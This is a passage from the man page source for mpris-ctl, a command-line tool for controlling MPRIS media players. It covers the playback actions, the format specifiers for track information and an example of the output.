Stop the player
*next*
Change to the next track play-list
*prev*
Change to the previous track in the play-list
*status*
Get the playback status. Equivalent to the *info %play\_status* action
*list*
Get the name of the running player(s). Equivalent to the *info %player\_name* action
*info* [format string]
Print information about the current track. *format string* can include any of the following *FORMAT SPECIFIERS*.
# FORMAT SPECIFIERS
*%player\_name*
prints the media-player's name
*%track\_name*
prints the track's name
*%track\_number*
prints the track number
*%track\_length*
prints the track length in seconds
*%artist\_name*
prints the artist's name
*%album\_name*
prints the album's name
*%album\_artist*
prints the album's artist
*%art\_url*
prints the URL of the cover art image
*%play\_status*
prints the playback status
*%shuffle*
prints the shuffle mode
*%volume*
prints the volume level
*%loop\_status*
prints the loop status
*%position*
prints the track's position in seconds
*%bitrate*
prints the track's bit-rate
*%comment*
prints the track's comment
*%full*
prints all available information
# EXAMPLE
*mpris-ctl info %full*
```
Player name: Spotify
Play status: Playing
Track: Song 2
Artist: Blur
Album: Blur: The Best Of
Album Artist: Blur
Art URL: https://open.spotify.com/image/7731a6d23ed9f82ea94e89b248450eb00f044a1b
Track: 2
Length: 121.88s
Volume: 0.00
Loop status: None
Shuffle: false
Position: 0.00s
Bitrate: 0
Comment:
```
# NOTES
1. *MPRIS D-Bus Interface Specification*
https://specifications.freedesktop.org/mpris-spec/latest/
| SuperCollider | 5 | mcepl/mpris-ctl | mpris-ctl.1.scd | [
"MIT"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.